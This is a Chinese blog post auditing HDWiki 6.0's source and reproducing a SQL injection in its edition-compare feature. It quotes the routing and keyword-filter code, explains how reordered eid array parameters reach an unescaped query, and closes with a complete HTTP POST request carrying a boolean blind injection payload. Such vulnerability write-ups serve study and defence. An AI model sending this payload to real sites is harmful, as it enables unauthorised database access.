文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

算法

Leetcode

随笔

经验

技术

 2020-01-15   1k

【代码审计】HDWiki6.0 sql漏洞(复现)

审计过程

首先从index.php入手:

包含了/model/hdwiki.class.php,这个文件是处理路由的关键文件,在构造函数中首先调用的是init_request.php,用来初始化请求信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function init_request(){
if (!file_exists(HDWIKI_ROOT.'/data/install.lock')) {
header('location:install/install.php');
exit();
}
header('Content-type: text/html; charset='.WIKI_CHARSET);
$querystring=str_replace("'","",urldecode($_SERVER['QUERY_STRING']));
if(strpos($querystring , 'plugin-hdapi-hdapi-default') !== false){
$querystring=str_replace('plugin-hdapi-', '', $querystring);
}
$pos = strpos($querystring , '.');
if($pos!==false){
$querystring=substr($querystring,0,$pos);
}
$this->get = explode('-' , $querystring);

if (count($this->get) <= 3 && count($_POST) == 0 && substr($querystring, 0, 6) == 'admin_' && substr($querystring, 0, 10) != 'admin_main'){
$this->querystring = $querystring;
}

if(empty($this->get[0])){
$this->get[0]='index';
}
if(empty($this->get[1])){
$this->get[1]='default';
}

if(count($this->get)<2){
exit(' Access Denied !');
}
//unset($_ENV, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS, $HTTP_ENV_VARS);
$this->get = string::haddslashes($this->get,1);
$this->post = string::haddslashes($_POST);
$_COOKIE = string::haddslashes($_COOKIE);
$this->checksecurity();
$remain=array('_SERVER','_FILES','_COOKIE','GLOBALS','starttime','mquerynum');
foreach ($GLOBALS as $key => $value){
if ( !in_array($key,$remain) ) {
unset($GLOBALS[$key]);
}
}
}

看完这段代码,可以初步知道这个CMS是首先拿到query_string的值,再用连接符-来划分控制器和方法,形如:http://127.0.0.1/index.php?admin_main-login,表示的就是/control/admin_main.php文件中的dologin方法。

另外,还对GET、POST和COOKIE参数进行字符转义,以及检查GET请求中是否有下列关键字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function checksecurity() {
$check_array = array(
//于get请求 需要检查哪些关键词
'get'=>array('cast', 'exec','show ','show/*','alter ','alter/*','create ','create/*','insert ','insert/*', 'select ','select/*','delete ','delete/*','update ', 'update/*','drop ','drop/*','truncate ','truncate/*','replace ','replace/*','union ','union/*','execute', 'from', 'declare', 'varchar', 'script', 'iframe', ';', '0x', '<', '>', '\\', '%27', '%22', '(', ')'),
);
foreach ($check_array as $check_key=>$check_val) {
if(!empty($this->$check_key)) {
foreach($this->$check_key as $getvalue) {
foreach ($check_val as $invalue) {
if(stripos($getvalue, $invalue) !== false){
$this->notfound('page is not found!');
//exit('No Aceess!注意敏感词!');
}
}
}
}
}
}

这次出现SQL注入漏洞的地方是/control/edit.php中的docompare函数,触发这个函数的路由即为:http://127.0.0.1/index.php?edit-compare

前三个if语句可以不用管。第四个if语句判断参数eid数组的前两个元素是不是数字,如果不是就会跳转到index.php页面。第147行代码,通过array_slice函数获取参数eid的前两个元素,代入到get_edition函数中。

这里有一个小的trick:POST和GET传入的参数,键不会自动排序的,传的时候是什么顺序,接收到的就是什么顺序 ,也就是说传给get_edition()函数的参数是我们可以控制的,这是发生注入的关键之一。

继续跟进get_edition函数:

当get_edition()函数的参数是数组的时候,则会直接用逗号拼接数组中的所有值,然后直接带入数据库查询,这里就是发生注入的关键之二。所以我们最终的payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php?edition-compare HTTP/1.1
Host: 192.168.0.23
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=jovcdmbvja39irn9a9rso7sru6; hd_sid=lZLd3C; hd_auth=1bc4Iyy%2BgM7glSiQe3yWq7wFPWdvuO4ZGw1vEvrrzMuWdTX1kXSaxhS54Lzd8pYu%2BBGftcSI3Yy6wuwCdyI7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

eid[2]=199&eid[3]=299) or if(ascii(left(user(),1))=114,1,0)#&eid[0]=3&eid[1]=4

使用布尔盲注,通过页面回显来判断查询语句的正确性。

Reference

https://mochazz.github.io/2018/03/05/代码审计之HDwiki6.0(复现)/

Copyright © ca01h 2019-2020 | 本站总访问量